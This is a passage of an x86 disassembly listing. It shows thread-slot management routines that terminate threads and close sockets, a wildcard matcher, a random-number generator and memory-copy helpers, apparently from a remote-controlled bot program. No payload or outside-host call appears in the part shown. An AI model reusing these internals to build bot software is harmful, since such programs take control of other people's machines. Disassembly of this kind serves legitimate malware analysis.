		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_415156
		cmp	esi, 12Ch
		jge	short loc_415156
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43F53C[esi]
		lea	edi, dword_43F53C[esi]
		call	dword_421130	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_415106
		push	1
		pop	ebp

loc_415106:				; CODE XREF: sub_4150CE+33j
		mov	[edi], ebx
		lea	edi, dword_43F530[esi]
		mov	dword_43F528[esi], ebx
		mov	dword_43F52C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_415127
		push	eax
		call	sub_414061
		pop	ecx

loc_415127:				; CODE XREF: sub_4150CE+50j
		mov	[edi], ebx
		lea	edi, dword_43F534[esi]
		mov	byte ptr dword_43F328[esi], bl
		mov	byte_43F540[esi], bl
		push	dword ptr [edi]
		call	dword_43A430	; closesocket
		lea	esi, dword_43F538[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		mov	[esi], ebx
		pop	edi

loc_415156:				; CODE XREF: sub_4150CE+Dj
					; sub_4150CE+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41515C	proc near		; CODE XREF: sub_409E15:loc_409E39p
					; sub_40C59A+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F328

loc_415168:				; CODE XREF: sub_41515C+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_415179
		push	edi
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_415179
		inc	ebx

loc_415179:				; CODE XREF: sub_41515C+Fj
					; sub_41515C+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468818
		jl	short loc_415168
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41515C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518E	proc near		; CODE XREF: sub_40CE55+1CC9p
					; sub_40CE55+1D37p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F52C

loc_4151A2:				; CODE XREF: sub_41518E+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151C4
		test	edi, edi
		jle	short loc_4151B6
		cmp	[esi], edi
		jz	short loc_4151B6
		cmp	ebx, edi
		jnz	short loc_4151C4

loc_4151B6:				; CODE XREF: sub_41518E+1Ej
					; sub_41518E+22j
		push	ebx
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_4151C4
		inc	[ebp+var_4]

loc_4151C4:				; CODE XREF: sub_41518E+1Aj
					; sub_41518E+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_468A1C
		jl	short loc_4151A2
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151DB	proc near		; CODE XREF: sub_4071FF+Bp
					; sub_407276+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F528

loc_4151E2:				; CODE XREF: sub_4151DB+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151EB
		inc	eax

loc_4151EB:				; CODE XREF: sub_4151DB+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_468A18
		jl	short loc_4151E2
		retn
sub_4151DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151FA	proc near		; CODE XREF: sub_40CE55+50EBp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F528

loc_415204:				; CODE XREF: sub_4151FA+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41521D
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_468A18
		jl	short loc_415204
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41521D:				; CODE XREF: sub_4151FA+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_40CE55+1062p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41523A
		push	[ebp+arg_1C]
		call	sub_415A5F
		pop	ecx

loc_41523A:				; CODE XREF: sub_415221+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41518E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415266
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_415280
; ---------------------------------------------------------------------------

loc_415266:				; CODE XREF: sub_415221+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154E7
		add	esp, 10h

loc_415280:				; CODE XREF: sub_415221+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4152A0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4152A0:				; CODE XREF: sub_415221+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152AF	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43F53C[eax], ecx
		mov	dword_43F528[eax], ecx
		mov	dword_43F52C[eax], ecx
		mov	dword_43F530[eax], ecx
		mov	dword_43F534[eax], ecx
		mov	dword_43F538[eax], ecx
		mov	byte ptr dword_43F328[eax], cl
		mov	byte_43F540[eax], cl
		retn
sub_4152AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152EC	proc near		; CODE XREF: sub_40CE55+5BF6p
					; sub_41541A+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4152F6:				; CODE XREF: sub_4152EC+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_415356
		cmp	eax, 1
		jnz	short loc_415356
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_415356
		cmp	cl, 2Ah
		jz	short loc_41533D
		cmp	cl, 3Fh
		jz	short loc_415320
		cmp	cl, 5Bh
		jz	short loc_415325
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_415320:				; CODE XREF: sub_4152EC+26j
		inc	[ebp+arg_4]
		jmp	short loc_415350
; ---------------------------------------------------------------------------

loc_415325:				; CODE XREF: sub_4152EC+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415382
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415350
; ---------------------------------------------------------------------------

loc_41533D:				; CODE XREF: sub_4152EC+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41541A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_415350:				; CODE XREF: sub_4152EC+37j
					; sub_4152EC+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152F6
; ---------------------------------------------------------------------------

loc_415356:				; CODE XREF: sub_4152EC+Ej
					; sub_4152EC+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_415366
		cmp	eax, 1
		jnz	short loc_41537D
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415356
; ---------------------------------------------------------------------------

loc_415366:				; CODE XREF: sub_4152EC+6Dj
		cmp	eax, 1
		jnz	short loc_41537D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41537D
		cmp	byte ptr [esi],	0
		jnz	short loc_41537D
		push	1
		pop	eax
		jmp	short loc_41537F
; ---------------------------------------------------------------------------

loc_41537D:				; CODE XREF: sub_4152EC+72j
					; sub_4152EC+7Dj ...
		xor	eax, eax

loc_41537F:				; CODE XREF: sub_4152EC+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415382	proc near		; CODE XREF: sub_4152EC+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4153A3
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_4153A3:				; CODE XREF: sub_415382+19j
		push	ebx
		push	esi

loc_4153A5:				; CODE XREF: sub_415382+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4153B3
		cmp	[ebp+var_4], eax
		jnz	short loc_4153FF

loc_4153B3:				; CODE XREF: sub_415382+2Aj
		test	edi, edi
		jnz	short loc_4153F4
		cmp	bl, 2Dh
		jnz	short loc_4153E8
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153E8
		cmp	al, 5Dh
		jz	short loc_4153E8
		cmp	[ebp+var_4], edi
		jnz	short loc_4153E8
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153F4
		cmp	bl, al
		jg	short loc_4153F4
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153F4
; ---------------------------------------------------------------------------

loc_4153E8:				; CODE XREF: sub_415382+38j
					; sub_415382+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153F4
		push	1
		pop	edi

loc_4153F4:				; CODE XREF: sub_415382+33j
					; sub_415382+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4153A5
; ---------------------------------------------------------------------------

loc_4153FF:				; CODE XREF: sub_415382+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_41540C
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_41540C:				; CODE XREF: sub_415382+82j
		cmp	edi, eax
		jnz	short loc_415415
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_415415:				; CODE XREF: sub_415382+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41541A	proc near		; CODE XREF: sub_4152EC+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_415436:				; CODE XREF: sub_41541A+3Aj
		cmp	[eax], bl
		jz	short loc_415456
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_41544B
		cmp	cl, 2Ah
		jnz	short loc_415456
		cmp	cl, 3Fh
		jnz	short loc_41544E

loc_41544B:				; CODE XREF: sub_41541A+25j
		inc	eax
		mov	[edi], eax

loc_41544E:				; CODE XREF: sub_41541A+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_415436
; ---------------------------------------------------------------------------

loc_415456:				; CODE XREF: sub_41541A+1Ej
					; sub_41541A+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415461
		inc	dword ptr [esi]
		jmp	short loc_415456
; ---------------------------------------------------------------------------

loc_415461:				; CODE XREF: sub_41541A+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415482
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415473
		xor	eax, eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------

loc_415473:				; CODE XREF: sub_41541A+53j
		cmp	cl, bl
		jnz	short loc_415482
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415482
		push	1
		pop	eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------

loc_415482:				; CODE XREF: sub_41541A+4Dj
					; sub_41541A+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154CC

loc_415490:				; CODE XREF: sub_41541A+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_415494:				; CODE XREF: sub_41541A+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4154AC
		cmp	cl, 5Bh
		jz	short loc_4154AC
		cmp	dl, bl
		jz	short loc_4154AC
		inc	eax
		mov	[edi], eax
		jmp	short loc_415494
; ---------------------------------------------------------------------------

loc_4154AC:				; CODE XREF: sub_41541A+82j
					; sub_41541A+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154C3
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------

loc_4154C3:				; CODE XREF: sub_41541A+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_4154C8:				; CODE XREF: sub_41541A+A7j
		cmp	eax, ebx
		jnz	short loc_415490

loc_4154CC:				; CODE XREF: sub_41541A+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	[ebp+var_4], 1

loc_4154DF:				; CODE XREF: sub_41541A+B6j
					; sub_41541A+BCj
		mov	eax, [ebp+var_4]

loc_4154E2:				; CODE XREF: sub_41541A+57j
					; sub_41541A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41541A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154E7	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415527
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415534
; ---------------------------------------------------------------------------

loc_415527:				; CODE XREF: sub_4154E7+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_415534:				; CODE XREF: sub_4154E7+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415539	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD6+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437D20, eax
		retn
sub_415539	endp


; =============== S U B	R O U T	I N E =======================================



sub_415543	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437D20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437D20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415543	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415570	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4155B7
		neg	ecx
		and	ecx, 3
		jz	short loc_415599
		sub	edx, ecx

loc_415593:				; CODE XREF: sub_415570+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415593

loc_415599:				; CODE XREF: sub_415570+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4155B7
		rep stosd
		test	edx, edx
		jz	short loc_4155BD

loc_4155B7:				; CODE XREF: sub_415570+18j
					; sub_415570+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4155B7

loc_4155BD:				; CODE XREF: sub_415570+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4155C3:				; CODE XREF: sub_415570+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155D0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155F0
		cmp	edi, eax
		jb	loc_415768

loc_4155F0:				; CODE XREF: sub_4155D0+16j
		test	edi, 3
		jnz	short loc_41560C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------

loc_41560C:				; CODE XREF: sub_4155D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------

loc_415624:				; CODE XREF: sub_4155D0+46j
		jmp	dword ptr loc_415728[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41562C:				; CODE XREF: sub_4155D0+31j
					; sub_4155D0+8Ej ...
		jmp	off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415640
		dd offset loc_41566C
		dd offset loc_415690
; ---------------------------------------------------------------------------

loc_415640:				; DATA XREF: sub_4155D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41566C:				; DATA XREF: sub_4155D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_415690:				; DATA XREF: sub_4155D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156AC	dd offset loc_41570F	; DATA XREF: sub_4155D0:loc_41562Cr
		dd offset loc_4156FC
		dd offset loc_4156F4
		dd offset loc_4156EC
		dd offset loc_4156E4
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4156D4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4156DC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4156E4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4156EC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4156F4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4156FC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41570F:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0:off_4156ACo
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415718	dd offset loc_415728	; DATA XREF: sub_4155D0+35r
					; sub_4155D0+92r ...
		dd offset loc_415730
		dd offset loc_41573C
		dd offset loc_415750
; ---------------------------------------------------------------------------

loc_415728:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_415730:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41573C:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_415750:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_415768:				; CODE XREF: sub_4155D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41579C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_415790:				; CODE XREF: sub_4155D0+1B1j
					; sub_4155D0+208j ...
		neg	ecx
		jmp	off_415860[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41579C:				; CODE XREF: sub_4155D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4157B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4157B4:				; CODE XREF: sub_4155D0+1D6j
					; DATA XREF: sub_4155D0+1DDr
		jmp	off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4157C7+1
		dd offset loc_4157E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], bl

loc_4157C7:				; DATA XREF: sub_4155D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4157E8:				; DATA XREF: sub_4155D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
		dd offset loc_41587C
		dd offset loc_415884
		dd offset loc_41588C
		dd offset loc_415894
off_415860	dd offset loc_4158A7	; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------

loc_415864:				; DATA XREF: sub_4155D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41586C:				; DATA XREF: sub_4155D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_415874:				; DATA XREF: sub_4155D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41587C:				; DATA XREF: sub_4155D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_415884:				; DATA XREF: sub_4155D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41588C:				; DATA XREF: sub_4155D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_415894:				; DATA XREF: sub_4155D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4158A7:				; CODE XREF: sub_4155D0+1C2j
					; DATA XREF: sub_4155D0:off_415860o
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4158B0	dd offset loc_4158C0	; DATA XREF: sub_4155D0+1B7r
					; sub_4155D0:loc_4157B4r ...
		dd offset loc_4158C8
		dd offset loc_4158D8
		dd offset loc_4158EC
; ---------------------------------------------------------------------------

loc_4158C0:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158C8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158D8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4158EC:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155D0	endp

